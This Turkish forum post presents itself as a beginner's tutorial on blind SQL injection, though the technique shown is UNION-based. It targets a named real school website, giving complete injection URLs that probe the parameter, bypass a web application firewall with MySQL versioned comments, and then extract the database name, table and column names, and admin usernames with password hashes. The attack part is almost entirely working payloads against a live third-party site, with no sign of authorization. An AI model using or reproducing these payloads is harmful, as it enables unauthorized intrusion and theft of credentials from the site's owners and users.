Blind SQL Injection: / Temel Kavramlar — 1

Konu Özeti

Blind SQL Injection, hata mesajı olmadan veri tabanı sorgularına müdahale etme yöntemidir. Yazıda, URL parametresine tırnak ekleyerek açık tespiti, ORDER BY ile kolon sayısı bulma, UNION SELECT ile zaafiyetli kolonları belirleme, WAF bypass için MySQL yorum sözdizimi kullanma ve veri tabanı, tablo, kolon isimleri ile kullanıcı bilgilerini çekme adımları örneklerle anlatılıyor.

Status
Not open for further replies.
Merhabalar,

Bu yazıda, Blind SQL Injection (Kör SQL Injection) hakkında temel bilgiler ve uygulamalı örnekler üzerinden ilerleyeceğiz. SQL Injection, web uygulamalarındaki veri tabanı sorgularına kötü niyetli müdahaleyi ifade eder ve Blind SQL Injection, hata mesajı vermeden bu zafiyetin kullanılmasıdır.

Blind SQL Injection Nedir?​

Blind SQL Injection, web sayfasında hata mesajı alınmadan sayfanın işleyişinin değiştirilmesi veya veri tabanından veri çekilmesidir. Örneğin, bir sayfa üzerinde .php?id=xx şeklinde bir parametre varsa ve URL’ye tırnak işareti (') eklediğimizde sayfadaki bazı içerikler (resimler, metinler) kayboluyorsa, bu durum potansiyel Blind SQL Injection açığını işaret eder.

Uygulamalı Örnekler​

Örnek zafiyetli site:
http://www.marywardlubhu.edu.np/gallery.php?cat_id=6
Eğer URL parametresine ' karakteri eklendiğinde sayfadaki resimler veya yazılar görünmüyorsa, bu bir açık olabilir.

​



WAF Bypass​

WAF’ı aşmak için SQL yorumlayıcısına özgü bypass yöntemleri kullanabiliriz:

http://www.marywardlubhu.edu.np/gallery.php?cat_id=6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,4,5,6--+-
Ve zaafiyetli kolonları bulmak için:

http://www.marywardlubhu.edu.np/gallery.php?cat_id=-6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,4,5,6--+-

Veri Tabanı ve Tabloların Tespiti​

Zaafiyetli kolonlardan veri tabanı ismini ve tabloları çekmek için şu sorgu kullanılabilir:

http://www.marywardlubhu.edu.np/gallery.php?cat_id=-6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,database(),5,6--+-

Tablo isimlerini çekmek için:

http://www.marywardlubhu.edu.np/gallery.php?cat_id=-6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x6d617279776172645f6d61727977617264),5,6--+-

Kolonların İçeriğini Görüntüleme​

Örneğin, tbl_admin tablosundaki sütun isimlerini öğrenmek için:

http://www.marywardlubhu.edu.np/gallery.php?cat_id=-6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x74626c5f61646d696e),5,6--+-

Veri Çekme Örneği (Username & Password)​

Son olarak, kullanıcı adı ve şifreleri çekmek için örnek bir sorgu:

http://www.marywardlubhu.edu.np/gallery.php?cat_id=-6'+/*!50000UNION*/+/*!50000SELECT*/+1,2,3,(SELECT(@x)FROM(SELECT(@x:=0x00),(SELECT(@x)FROM(maryward_maryward.tbl_admin)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x3a,password,0x3c62723e))))x),5,6--+-

Elde edilen çıktı hashlenmiş şifre ve kullanıcı isimlerini içerir.

Sonuç​

Bu örneklerle, Blind SQL Injection açığının nasıl tespit edileceği, kolon sayısının nasıl bulunacağı, WAF bypass teknikleri ve veri çekme yöntemleri hakkında temel bir bakış açısı kazandık.
Bu konuyla ilgili detaylı görsel ve video anlatımlar paylaşarak ilerleyeceğim.

🔒 Bu içeriği görmek için giriş yapın

 
Status
Not open for further replies.
136,279Threads
3,303,654Messages
328,089Members
NoiseLLatest member
Top Bottom